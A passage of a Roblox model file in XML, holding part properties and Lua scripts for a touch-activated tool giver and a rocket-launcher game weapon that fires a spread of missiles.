function onSelected(mouse) -- When the weapon is selected, make the script recognize clicks
	print(&quot;Invisibility selected&quot;)
	setCursor(mouse) -- Make the mouse indicate readiness
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end

script.Parent.Selected:connect(onSelected)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4432">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4433">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-26.4980774</X>
							<Y>9.79495144</Y>
							<Z>97.500267</Z>
							<R00>0.999998748</R00>
							<R01>-0.000129476786</R01>
							<R02>1.04847422e-005</R02>
							<R10>0.000129477223</R10>
							<R11>1</R11>
							<R12>-4.31583539e-005</R12>
							<R20>-1.04791579e-005</R20>
							<R21>4.31596563e-005</R21>
							<R22>0.999998748</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4434">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-28.4980469</X>
							<Y>9.79448509</Y>
							<Z>98.5002365</Z>
							<R00>-2.32495845e-009</R00>
							<R01>-0.000152590073</R01>
							<R02>0.99999845</R02>
							<R10>3.05180438e-005</R10>
							<R11>1</R11>
							<R12>0.000152590073</R12>
							<R20>-0.99999845</R20>
							<R21>3.05179929e-005</R21>
							<R22>2.32724551e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4435">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-24.4980469</X>
							<Y>9.79509544</Y>
							<Z>98.5002365</Z>
							<R00>-2.32495845e-009</R00>
							<R01>-0.000152590073</R01>
							<R02>0.99999845</R02>
							<R10>3.05180438e-005</R10>
							<R11>1</R11>
							<R12>0.000152590073</R12>
							<R20>-0.99999845</R20>
							<R21>3.05179929e-005</R21>
							<R22>2.32724551e-009</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4436">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-26.4985352</X>
							<Y>13.3948841</Y>
							<Z>99.000412</Z>
							<R00>0.999998748</R00>
							<R01>-0.000129476786</R01>
							<R02>1.04847422e-005</R02>
							<R10>0.000129477223</R10>
							<R11>1</R11>
							<R12>-4.31583539e-005</R12>
							<R20>-1.04791579e-005</R20>
							<R21>4.31596563e-005</R21>
							<R22>0.999998748</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4437">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-26.4980621</X>
							<Y>9.79482269</Y>
							<Z>100.500259</Z>
							<R00>0.999998748</R00>
							<R01>-0.000129476786</R01>
							<R02>1.04847422e-005</R02>
							<R10>0.000129477223</R10>
							<R11>1</R11>
							<R12>-4.31583539e-005</R12>
							<R20>-1.04791579e-005</R20>
							<R21>4.31596563e-005</R21>
							<R22>0.999998748</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4438">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Mutiple giver</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4439">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-33.5</X>
							<Y>14.6000004</Y>
							<Z>99</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4440">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-31.5</X>
							<Y>11</Y>
							<Z>98.5</Z>
							<R00>-0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4441">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-33.5000305</X>
							<Y>10.9993162</Y>
							<Z>100.500061</Z>
							<R00>0.999996006</R00>
							<R01>2.31135346e-005</R01>
							<R02>1.04804531e-005</R02>
							<R10>-2.31129088e-005</R10>
							<R11>1</R11>
							<R12>-1.26420346e-005</R12>
							<R20>-1.04807577e-005</R20>
							<R21>1.26414961e-005</R21>
							<R22>0.999996006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4442">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-33.500061</X>
							<Y>10.9993544</Y>
							<Z>97.500061</Z>
							<R00>0.999996006</R00>
							<R01>2.31135346e-005</R01>
							<R02>1.04804531e-005</R02>
							<R10>-2.31129088e-005</R10>
							<R11>1</R11>
							<R12>-1.26420346e-005</R12>
							<R20>-1.04807577e-005</R20>
							<R21>1.26414961e-005</R21>
							<R22>0.999996006</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX4443">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-33.500061</X>
							<Y>10.5993767</Y>
							<Z>96.500061</Z>
							<R00>1.04804531e-005</R00>
							<R01>2.31135346e-005</R01>
							<R02>-0.999996006</R02>
							<R10>-1.26420346e-005</R10>
							<R11>1</R11>
							<R12>2.31129088e-005</R12>
							<R20>0.999996006</R20>
							<R21>1.26414961e-005</R21>
							<R22>1.04807577e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">PUT THE WEAPON IN THIS BRICK</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Tool" referent="RBX4444">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Enabled">true</bool>
							<CoordinateFrame name="Grip">
								<X>-0.75</X>
								<Y>-0.5</Y>
								<Z>0.100000001</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>-0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<string name="Name">Multiple</string>
							<Content name="TextureId"><null></null></Content>
						</Properties>
						<Item class="Sound" referent="RBX4445">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Explosion</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4446">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Swoosh</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=12222095</url></Content>
								<float name="Volume">0.699999988</float>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX4447">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-33.0885925</X>
									<Y>9.98929214</Y>
									<Z>99.2987366</Z>
									<R00>-2.28881836e-005</R00>
									<R01>0.0327104032</R01>
									<R02>-0.99946475</R02>
									<R10>-0.999999881</R10>
									<R11>-1.4424324e-005</R11>
									<R12>2.25305557e-005</R12>
									<R20>-1.37984753e-005</R20>
									<R21>0.99946475</R21>
									<R22>0.0327105522</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Handle</string>
								<float name="Reflectance">0.400000006</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0.000383548613</X>
									<Y>3.3290803e-008</Y>
									<Z>-0.00170811091</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.000410398905</X>
									<Y>0.00754819158</Y>
									<Z>0.000719973061</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>0.800000012</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX4448">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1030777</url></Content>
									<token name="MeshType">5</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>0.75</X>
										<Y>0.75</Y>
										<Z>0.75</Z>
									</Vector3>
									<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1030776</url></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
						<Item class="Script" referent="RBX4449">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Server Launcher</string>
								<ProtectedString name="Source">local Rocket = Instance.new(&quot;Part&quot;)
local Tool = script.Parent

Rocket.Locked = true
Rocket.BackSurface = 3
Rocket.BottomSurface = 3
Rocket.FrontSurface = 3
Rocket.LeftSurface = 3
Rocket.RightSurface = 3
Rocket.TopSurface = 3
Rocket.Size = Vector3.new(1,1,4)
Rocket.BrickColor = BrickColor.new(6)

Tool.RocketScript:clone().Parent = Rocket
Tool.Explosion:clone().Parent = Rocket
Tool.Swoosh:clone().Parent = Rocket


function fire(vTarget, offset)

	local vCharacter = Tool.Parent;
	
	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position
	dir = computeDirection(dir)
	local missileCF = CFrame.new(vHandle.Position,  vHandle.Position + dir)
	local missile = Rocket:clone()
	local color = math.random(1,32)
	missile.BrickColor = BrickColor.new(color)
	print(color)
	missile.CFrame = missileCF * offset

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = true

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	for i=-15,15,5 do
		fire(targetPos, CFrame.new(i,0,-9))
	end

	wait(12)
	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="LocalScript" referent="RBX4450">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Local Gui</string>
